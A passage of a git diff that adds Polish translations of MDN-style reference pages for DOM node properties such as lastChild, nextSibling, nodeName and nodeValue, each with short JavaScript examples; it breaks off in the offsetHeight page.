diff --git a/files/pl/web/api/element/lastchild/index.html b/files/pl/web/api/element/lastchild/index.html
new file mode 100644
index 0000000000..34475c02d7
--- /dev/null
+++ b/files/pl/web/api/element/lastchild/index.html
@@ -0,0 +1,28 @@
+---
+title: element.lastChild
+slug: Web/API/Element/lastChild
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Node/lastChild
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p><b>lastChild</b> zwraca ostatnie dziecko węzła.</p>
+<h3 id="Sk.C5.82adnia_i_warto.C5.9Bci" name="Sk.C5.82adnia_i_warto.C5.9Bci">Składnia i wartości</h3>
+<pre class="eval"><i>ostatnieDziecko</i> = element.lastChild
+</pre>
+<p><code>ostatnieDziecko</code> to węzeł. Jeśli jego rodzicem jest element, dzieckiem jest na ogół węzeł elementu, komentarza lub węzeł tekstowy.</p>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre>tr = document.getElementById("row1");
+td_róg = tr.lastChild;
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Jeżeli nie ma węzłów potomnych, zwracane jest <code>null</code>.</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-61AD09FB">lastChild </a></p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/element.lastChild", "fr": "fr/DOM/element.lastChild", "ja": "ja/DOM/element.lastChild" } ) }}</p>
diff --git a/files/pl/web/api/element/length/index.html b/files/pl/web/api/element/length/index.html
new file mode 100644
index 0000000000..ce5e1345ef
--- /dev/null
+++ b/files/pl/web/api/element/length/index.html
@@ -0,0 +1,37 @@
+---
+title: element.length
+slug: Web/API/Element/length
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/NodeList/length
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p><b>length</b> zwraca liczbę elementów listy.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>liczbaElementów</i> = nodeList.length
+</pre>
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+<ul>
+ <li><code>liczbaElementów</code> to liczba całkowita reprezentująca liczbę elementów listy.</li>
+</ul>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre>// wszystkie paragrafy z dokumentu
+items = document.getElementsByTagName("p");
+// są jakieś?
+if ( items.length ) {
+ // dodaj HTML z każdego elemntu listy
+ for (var i = 0; i &lt; items.length; i++) {
+ gross += items[0].innerHTML;
+ // gross zawiera teraz cały HTML z paragrafów
+ }
+}
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Właściwość <b>length</b> jest bardzo częsta w programowaniu z użyciem DOM. Używa się jej by sprawdzić, czy lista zawiera elementy oraz w pętli for, jak w powyższym przykładzie.</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-203510337">length </a></p>
+<p>{{ languages( { "en": "en/DOM/element.length", "ja": "ja/DOM/element.length" } ) }}</p>
diff --git a/files/pl/web/api/element/localname/index.html b/files/pl/web/api/element/localname/index.html
new file mode 100644
index 0000000000..55b5649e31
--- /dev/null
+++ b/files/pl/web/api/element/localname/index.html
@@ -0,0 +1,64 @@
+---
+title: element.localName
+slug: Web/API/Element/localName
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Node/localName
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p><b>localName</b> zwraca lokalną część uściślonej nazwy węzła.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>nazwa</i> = element.localName
+</pre>
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+<ul>
+ <li><code>nazwa</code> to ciąg z lokalną nazwą węzła (zobacz {{ Anch("Uwagi") }} poniżej, aby dowiedzieć się więcej)</li>
+</ul>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<p>(Musi obsługiwać treść XML typu, jak &lt;tt&gt;text/xml&lt;/tt&gt; lub &lt;tt&gt;application/xhtml+xml&lt;/tt&gt;.)</p>
+<pre class="eval">&lt;html xmlns="<span class="nowiki">http://www.w3.org/1999/xhtml</span>"
+ xmlns:svg="<span class="nowiki">http://www.w3.org/2000/svg</span>"&gt;
+&lt;head&gt;
+ &lt;script&gt;&lt;![CDATA[
+ function test() {
+ var text = document.getElementById('text');
+ var circle = document.getElementById('circle');
+
+ text.value = "&lt;svg:circle&gt; has:\n" +
+ "localName = '" + circle.localName + "'\n" +
+ "namespaceURI = '" + circle.namespaceURI + "'";
+ }
+ ]]&gt;&lt;/script&gt;
+&lt;/head&gt;
+&lt;body onload="test()"&gt;
+ &lt;textarea id="text" rows="4" cols="55"/&gt;
+ &lt;svg:svg version="1.1"
+ style="width:100%; height:100%; position:absolute; top:0; left:0; z-index:0;"
+ viewBox="0 0 100 100"&gt;
+ &lt;svg:circle cx="50" cy="50" r="30" style="fill:#aaa" id="circle"/&gt;
+ &lt;/svg:svg&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Dla węzłów typu innego niż <code>ELEMENT_NODE</code> i <code>ATTRIBUTE_NODE</code> oraz dla węzłów utworzonych za pomocą metod DOM Level 1, jak na przykład <code><a href="pl/DOM/document.createElement">document.createElement</a></code>, własność ta ma zawsze wartość <code>NULL</code>.</p>
+<p><b>localname</b> węzła to ta część uściślonej nazwy węzła, która znajduje się po dwukropku. Uściślone nazwy są zwykle używane w XML jako część przestrzeni nazw w poszczególnych dokumentach XML. Na przykład w uściślonej nazwie "ecomm:partners" nazwa lokalna to "partners", a "ecomm" to prefiks.</p>
+<pre>&lt;ecomm:business id="soda_shop" type="brick_n_mortar"&gt;
+ &lt;ecomm:partners&gt;
+ &lt;ecomm:partner id="1001"&gt;Tony's Syrup Warehouse
+ &lt;/ecomm:partner&gt;
+ &lt;/ecomm:partner&gt;
+&lt;/ecomm:business&gt;
+</pre>
+<p>Prefiks - w tym wypadku "ecomm" - określa przestrzeń nazw, w której można użyć nazwy lokalnej.</p>
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3>
+<p><a href="pl/DOM/element.namespaceURI">element.namespaceURI</a></p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-NodeNSLocalN">localName </a></p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/element.localName", "fr": "fr/DOM/element.localName", "ja": "ja/DOM/element.localName" } ) }}</p>
diff --git a/files/pl/web/api/element/name/index.html b/files/pl/web/api/element/name/index.html
new file mode 100644
index 0000000000..e1a9fa7f41
--- /dev/null
+++ b/files/pl/web/api/element/name/index.html
@@ -0,0 +1,60 @@
+---
+title: element.name
+slug: Web/API/Element/name
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p><strong>name</strong> pobiera lub ustawia atrybut <code>name</code> obiektu DOM. Ma zastosowanie tylko dla poniższych elementów: anchor, applet, form, frame, iframe, image, input, map, meta, object, option, param, select i textarea.</p>
+<p><strong>name</strong> można wykorzystać w metodzie <a href="/pl/DOM/document.getElementsByName" title="pl/DOM/document.getElementsByName">getElementsByName</a>, w obiekcie <a href="/pl/DOM/form" title="pl/DOM/form">form</a> i w kolekcji <a href="/pl/DOM/form.elements" title="pl/DOM/form.elements">elements</a>. Jeśli zostanie użyta dla formularza lub kolekcji elementów, właściwość tak może zwrócić jeden element lub ich kolekcję.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><em>HTMLElement</em>.name = <em>string</em>;
+var elName = <em>HTMLElement</em>.name;
+
+var kontrolka = <em>HTMLFormElement</em>.<em>nazwaElementu</em>;
+var kolekcjaKontrolek = <em>HTMLFormElement</em>.elements.<em>nazwaElementu</em>;
+</pre>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre class="eval">&lt;form action="" name="formA"&gt;
+ &lt;input type="text" value="foo"&gt;
+&lt;/form&gt;
+
+&lt;script type="text/javascript"&gt;
+
+ // pobierz referncję do pierwszego elementu formularza
+ var formElement = document.forms['formA'].elements[0];
+
+ // nadaj mu nazwę
+ formElement.name = 'inputA';
+
+ // i wyświetl jego wartość
+ alert(document.forms['formA'].elements['inputA'].value);
+
+&lt;/script&gt;
+</pre>
+<h3 id="uwagi" name="uwagi">uwagi</h3>
+<p>W przeglądarce Internet Explorer (IE) nie można modyfikować właściwości <code>name</code> obiektów DOM utworzonych za pomocą <code><a href="/pl/DOM/document.createElement" title="pl/DOM/document.createElement">createElement</a></code>.</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p>Specyfikacja W3C DOM 2 HTML:</p>
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-32783304">Anchor</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-39843695">Applet</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-22051454">Form</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-91128709">Frame</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-96819659">iFrame</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-47534097">Image</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-89658498">Input</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-52696514">Map</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-31037081">Meta</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-20110362">Object</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-89658498">Option</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-59871447">Param</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-41636323">Select</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-70715578">Textarea</a></li>
+</ul>
+<p>{{ languages( { "en": "en/DOM/element.name", "ja": "ja/DOM/element.name", "fr": "fr/DOM/element.name" } ) }}</p>
diff --git a/files/pl/web/api/element/namespaceuri/index.html b/files/pl/web/api/element/namespaceuri/index.html
new file mode 100644
index 0000000000..9f252ba570
--- /dev/null
+++ b/files/pl/web/api/element/namespaceuri/index.html
@@ -0,0 +1,39 @@
+---
+title: element.namespaceURI
+slug: Web/API/Element/namespaceURI
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Node/namespaceURI
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Zwraca URI przestrzeni nazw tego węzła lub NULL, jeśli jej nie określono.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>przestrzeńNazw</i> = element.namespaceURI
+</pre>
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+<ul>
+ <li><code>przestrzeńNazw</code> to ciąg znaków reprezentujący URI przestrzeni nazw bieżącego węzła.</li>
+</ul>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<p>W poniższym wycinku kodu sprawdzane są <code>localName</code> i <code>namespaceURI</code> węzła. Jeśli <code>namespaceURI</code> jest zgodny ze zmienną zawierającą przestrzeń nazw dla XUL, węzeł jest uznawany za widget &lt;browser /&gt; w języku XUL.</p>
+<pre>if (node.localName == "browser"
+ &amp;&amp; node.namespaceURI == kXULNSURI) {
+// xul browser
+this.viewee = node.webNavigation.document;
+//...
+}
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Nie jest to wyznaczona wartość, będąca rezultatem przeszukiwania w oparciu o deklaracje przestrzeni nazw w zakresie, w jakim znajduje się element. Jest to jedynie URI takiej przestrzeni nazw, jaką nadano w momencie tworzenia elementu.</p>
+<p>Dla węzłow typów innych niż <code>ELEMENT_NODE</code> i <code>ATTRIBUTE_NODE</code> oraz węzłów utworzonych metodami DOM Level 1, jak <a href="pl/DOM/document.createElement">document.createElement</a>, wartość tej właściwości to zawsze NULL.</p>
+<p>Zgodnie ze specyfikacją <a class="external" href="http://www.w3.org/TR/REC-xml-names">Namespaces in XML</a> atrybut nie dziedziczy przestrzeni nazw po elemencie, do którego jest przypisany. Jeśli atrybut nie ma bezpośrednio nadanej przestrzeni nazw, po prostu nie należy do żadnej przestrzeni.</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-NodeNSname">namespaceURI</a></p>
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#Namespaces-Considerations">Przestrzenie nazw XML</a></p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/element.namespaceURI", "fr": "fr/DOM/element.namespaceURI", "ja": "ja/DOM/element.namespaceURI" } ) }}</p>
diff --git a/files/pl/web/api/element/nextsibling/index.html b/files/pl/web/api/element/nextsibling/index.html
new file mode 100644
index 0000000000..17f1822a56
--- /dev/null
+++ b/files/pl/web/api/element/nextsibling/index.html
@@ -0,0 +1,63 @@
+---
+title: element.nextSibling
+slug: Web/API/Element/nextSibling
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Node/nextSibling
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Zwraca węzeł znajdujący się w drzewie bezpośrednio za węzłem bieżącym.</p>
+<h3 id="Sk.C5.82adnia_i_warto.C5.9Bci" name="Sk.C5.82adnia_i_warto.C5.9Bci">Składnia i wartości</h3>
+<pre class="eval"><i>następnyElement</i> = element.nextSibling
+</pre>
+<p><code>następnyElement</code> to węzeł bezpośrednio następny w liście rodzeństwa (np. liście dzieci węzła <code>parentNode</code>). Następnym węzłem jest na ogół węzeł elementu, komentarza lub węzeł tekstowy.</p>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre>&lt;div id="div-01"&gt;Here is div-01&lt;/div&gt;
+&lt;div id="div-02"&gt;Here is div-02&lt;/div&gt;
+
+&lt;script type="text/javascript"&gt;
+ var el = document.getElementById('div-01').nextSibling;
+ document.write('&lt;p&gt;Rodzeństwo div-01&lt;/p&gt;&lt;ol&gt;');
+ while (el) {
+ document.write('&lt;li&gt;' + el.nodeName + '&lt;/li&gt;');
+ el = el.nextSibling;
+ }
+ document.write('&lt;/ol&gt;');
+&lt;/script&gt;
+
+/**************************************************
+ Po załadowaniu zostanie dopisane do strony:
+
+ Rodzeństwo div-01
+
+ 1. #text
+ 2. DIV
+ 3. #text
+ 4. SCRIPT
+ 5. P
+ 6. OL
+**************************************************/
+</pre>
+<p>Węzły tekstowe - <code>#text</code> - są w powyższym przykładzie wstawiane do modelu dokumentu w miejsce białych znaków między elementami (np. po znaczniku zamykającym jeden element, ale przed znacznikiem otwierającym następny element). Białe znaki nie są wstawiane przy wywołaniu <code>document.write</code>.</p>
+<p>Poniższy przykład pokazuje, jak białe znaki wpływają na sąsiednie węzły komórek tabeli:</p>
+<pre>&lt;table&gt;
+ &lt;tr&gt;
+ &lt;td id="cell1"&gt;cell1&lt;/td&gt;
+ &lt;td id="cell2"&gt;cell2&lt;/td&gt;
+ &lt;/tr&gt;
+ &lt;tr&gt;
+ &lt;td id="cell3"&gt;cell3&lt;/td&gt;&lt;td id="cell4"&gt;cell4&lt;/td&gt;&lt;/tr&gt;
+&lt;/table&gt;
+</pre>
+<p><code>nextSibling</code> <code>cell1</code> to węzeł tekstowy. Między komórkami drugiego rzędu tabeli nie ma białych znaków, dlatego rodzeństwo <code>cell3</code> to tylko <code>cell4</code>. Podczas przechodzenia przez model dokumentu za pomocą <code>nextSibling</code> należy liczyć się z możliwością wystąpienia węzłów tekstowych.</p>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Zwraca <code>null</code>, kiedy nie ma już więcej węzłów.</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-6AC54C2F">nextSibling </a></p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/element.nextSibling", "fr": "fr/DOM/element.nextSibling", "ja": "ja/DOM/element.nextSibling" } ) }}</p>
diff --git a/files/pl/web/api/element/nodename/index.html b/files/pl/web/api/element/nodename/index.html
new file mode 100644
index 0000000000..93a54424a6
--- /dev/null
+++ b/files/pl/web/api/element/nodename/index.html
@@ -0,0 +1,98 @@
+---
+title: element.nodeName
+slug: Web/API/Element/nodeName
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Node/nodeName
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Zwraca nazwę węzła jako ciąg znaków.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>nazwa</i> = element.nodeName
+</pre>
+<p>
+ <i>
+ nazwa</i>
+ to ciąg znaków reprezentujący nazwę bieżącego elementu. <code>nodeName</code> to atrybut tylko do odczytu.</p>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Poniżej przedstawione są wartości zwracane dla różnych typów węzłów:</p>
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th class="header" style="text-align: center;">Interfejs</th>
+ <th class="header" style="text-align: center;">nodeName</th>
+ </tr>
+ <tr>
+ <td><a href="pl/DOM/Attr">Attr</a></td>
+ <td>tak samo jak <code><a href="pl/DOM/Attr.name">Attr.name</a></code></td>
+ </tr>
+ <tr>
+ <td><a href="pl/DOM/CDATASection">CDATASection</a></td>
+ <td>"#cdata-section"</td>
+ </tr>
+ <tr>
+ <td><a href="pl/DOM/Comment">Comment</a></td>
+ <td>"#comment"</td>
+ </tr>
+ <tr>
+ <td><a href="pl/DOM/Document">Document</a></td>
+ <td>"#document"</td>
+ </tr>
+ <tr>
+ <td><a href="pl/DOM/DocumentFragment">DocumentFragment</a></td>
+ <td>"#document-fragment"</td>
+ </tr>
+ <tr>
+ <td><a href="pl/DOM/DocumentType">DocumentType</a></td>
+ <td>tak samo jak <code><a href="pl/DOM/DocumentType.name">DocumentType.name</a></code></td>
+ </tr>
+ <tr>
+ <td><a href="pl/DOM/Element">Element</a></td>
+ <td>tak samo jak <code><a href="pl/DOM/element.tagName">Element.tagName</a></code></td>
+ </tr>
+ <tr>
+ <td><a href="pl/DOM/Entity">Entity</a></td>
+ <td>nazwa encji</td>
+ </tr>
+ <tr>
+ <td><a href="pl/DOM/EntityReference">EntityReference</a></td>
+ <td>nazwa refernecji do encji</td>
+ </tr>
+ <tr>
+ <td><a href="pl/DOM/Notation">Notation</a></td>
+ <td>nazwa notacji</td>
+ </tr>
+ <tr>
+ <td><a href="pl/DOM/ProcessingInstruction">ProcessingInstruction</a></td>
+ <td>tak samo jak <code><a href="pl/DOM/ProcessingInstruction.target">ProcessingInstruction.target</a></code></td>
+ </tr>
+ <tr>
+ <td>Text</td>
+ <td>"#text"</td>
+ </tr>
+ </tbody>
+</table>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<p>Dane są poniższe znaczniki</p>
+<pre>&lt;div id="d1"&gt;hello world&lt;/div&gt;
+&lt;input type="text" id="t"/&gt;
+</pre>
+<p>i taki skrypt:</p>
+<pre>var div1 = document.getElementById("d1");
+var poleTekstowe = document.getElementById("t");
+poleTekstowe.value = div1.nodeName;
+</pre>
+<p>W XHTML-u (lub innym formacie XML) wartość pola tekstowego to "div". W HTML wartość ta to "DIV".</p>
+<p>Zauważ, że można było użyć właściwości <code><a href="pl/DOM/element.tagName">tagName</a></code>, ponieważ dla elementów <code>nodeName</code> ma taką samą wartość jak <code>tagName</code>.</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-F68D095">W3C DOM Level 2 Core: nodeName</a></p>
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#ID-F68D095">W3C DOM Level 3 Core: nodeName</a></p>
+<p> </p>
+<p> </p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/element.nodeName", "es": "es/DOM/element.nodeName", "fr": "fr/DOM/element.nodeName", "it": "it/DOM/element.nodeName", "ja": "ja/DOM/element.nodeName" } ) }}</p>
diff --git a/files/pl/web/api/element/nodetype/index.html b/files/pl/web/api/element/nodetype/index.html
new file mode 100644
index 0000000000..8f3825ea86
--- /dev/null
+++ b/files/pl/web/api/element/nodetype/index.html
@@ -0,0 +1,44 @@
+---
+title: element.nodeType
+slug: Web/API/Element/nodeType
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Node/nodeType
+---
+<div>
+ {{ApiRef}}</div>
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+<p>Zwraca kod reprezentujący typ węzła.</p>
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+<pre class="syntaxbox"><var>typ</var> = document.nodeType
+</pre>
+<p><code>typ</code> jest zmienną liczbową typu <code>unsigned short</code> o jednej z poniższych wartości:</p>
+<ul>
+ <li>Node.ELEMENT_NODE == 1</li>
+ <li>Node.ATTRIBUTE_NODE == 2</li>
+ <li>Node.TEXT_NODE == 3</li>
+ <li>Node.CDATA_SECTION_NODE == 4</li>
+ <li>Node.ENTITY_REFERENCE_NODE == 5</li>
+ <li>Node.ENTITY_NODE == 6</li>
+ <li>Node.PROCESSING_INSTRUCTION_NODE == 7</li>
+ <li>Node.COMMENT_NODE == 8</li>
+ <li>Node.DOCUMENT_NODE == 9</li>
+ <li>Node.DOCUMENT_TYPE_NODE == 10</li>
+ <li>Node.DOCUMENT_FRAGMENT_NODE == 11</li>
+ <li>Node.NOTATION_NODE == 12</li>
+</ul>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<p>Ten przykład sprawdza czy pierwszy węzeł wewnątrz elementu document jest comment node, i jeśli nie jest, wyświetli wiadomość.</p>
+<pre class="brush:js">var node = document.documentElement.firstChild;
+
+if(node.nodeType != Node.COMMENT_NODE)
+ alert("You should comment your code well!");
+</pre>
+<h2 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h2>
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-111237558">DOM Level 2 Core: nodeType</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#ID-111237558">DOM Level 3 Core: nodeType</a></li>
+</ul>
diff --git a/files/pl/web/api/element/nodevalue/index.html b/files/pl/web/api/element/nodevalue/index.html
new file mode 100644
index 0000000000..205871bba3
--- /dev/null
+++ b/files/pl/web/api/element/nodevalue/index.html
@@ -0,0 +1,85 @@
+---
+title: Node.nodeValue
+slug: Web/API/Element/nodeValue
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Node/nodeValue
+---
+<div>
+ {{APIRef}}</div>
+<div>
+  </div>
+<div>
+ <span style="font-size: 2.14285714285714rem; font-weight: 700; letter-spacing: -1px; line-height: 30px;">Podsumowanie</span></div>
+<p>Zwraca wartość bieżącego węzła.</p>
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+<pre class="syntaxbox"><var>wartość</var> = document.nodeValue
+</pre>
+<p><code>wartość</code> to ciąg znaków reprezentujący wartość elementu, jeśli taka istnieje.</p>
+<h2 id="Uwagi" name="Uwagi">Uwagi</h2>
+<p>Dla dokumentu <code>nodeValue</code> zwraca <code>null</code>. Dla węzłów tekstowych, komentarzy i CDATA <code>nodeValue</code> zwraca zawartość węzła. Dla węzłów atrybutów, zwracana jest wartość atrybutu.</p>
+<p>Poniższa tabela przedstawia wartości zwracane dla różnych interfejsów:</p>
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th class="header" style="text-align: center;">Interfejs</th>
+ <th class="header" style="text-align: center;">nodeValue</th>
+ </tr>
+ <tr>
+ <td>Attr</td>
+ <td>wartość atrybutu</td>
+ </tr>
+ <tr>
+ <td>CDATASection</td>
+ <td>treść sekcji CDATA</td>
+ </tr>
+ <tr>
+ <td>Comment</td>
+ <td>treść komentarza</td>
+ </tr>
+ <tr>
+ <td>Document</td>
+ <td>null</td>
+ </tr>
+ <tr>
+ <td>DocumentFragment</td>
+ <td>null</td>
+ </tr>
+ <tr>
+ <td>DocumentType</td>
+ <td>null</td>
+ </tr>
+ <tr>
+ <td>Element</td>
+ <td>null</td>
+ </tr>
+ <tr>
+ <td>NamedNodeMap</td>
+ <td>null</td>
+ </tr>
+ <tr>
+ <td>EntityReference</td>
+ <td>null</td>
+ </tr>
+ <tr>
+ <td>Notation</td>
+ <td>null</td>
+ </tr>
+ <tr>
+ <td>ProcessingInstruction</td>
+ <td>cała treść, wyłączając cel</td>
+ </tr>
+ <tr>
+ <td>Text</td>
+ <td>treść węzła tekstowego</td>
+ </tr>
+ </tbody>
+</table>
+<p>Jeśli <code>nodeValue</code> z definicji ma wartość <code>null</code>, ustawianie tej właściwości nie będzie mieć efektu.</p>
+<h2 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h2>
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-F68D080">nodeValue </a></li>
+</ul>
diff --git a/files/pl/web/api/element/normalize/index.html b/files/pl/web/api/element/normalize/index.html
new file mode 100644
index 0000000000..4dac3822cc
--- /dev/null
+++ b/files/pl/web/api/element/normalize/index.html
@@ -0,0 +1,22 @@
+---
+title: element.normalize
+slug: Web/API/Element/normalize
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Node/normalize
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Metoda zapisuje określony węzeł i całe jego poddrzewo w "znormalizowanej" formie. W znormalizowanym poddrzewie żaden węzeł tekstowy nie jest pusty, nie ma również sąsiednich węzłów tekstowych.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval">element.normalize()
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-normalize">DOM Level 2 Core: Node.normalize</a></p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/element.normalize", "fr": "fr/DOM/element.normalize" } ) }}</p>
diff --git a/files/pl/web/api/element/offsetheight/index.html b/files/pl/web/api/element/offsetheight/index.html
new file mode 100644
index 0000000000..ce5fc2254e
--- /dev/null
+++ b/files/pl/web/api/element/offsetheight/index.html
@@ -0,0 +1,61 @@
+---
+title: element.offsetHeight
+slug: Web/API/Element/offsetHeight
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Strony_wymagające_dopracowania
+ - Wszystkie_kategorie
+translation_of: Web/API/HTMLElement/offsetHeight
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id="offsetHeight" name="offsetHeight">offsetHeight</h3>
+
+<p>Własność DHTML (Dynamic HyperText Markup Language), która daje wysokość relatywnego elementu do układu strony.</p>
+
+<h2 id="Sk.C5.82adnia_i_warto.C5.9Bci" name="Sk.C5.82adnia_i_warto.C5.9Bci">Składnia i wartości</h2>
+
+<pre class="eval">var<em>intElemOffsetHeight</em> = document.getElementById(<em>id_attribute_value</em>).offsetHeight;
+</pre>
+
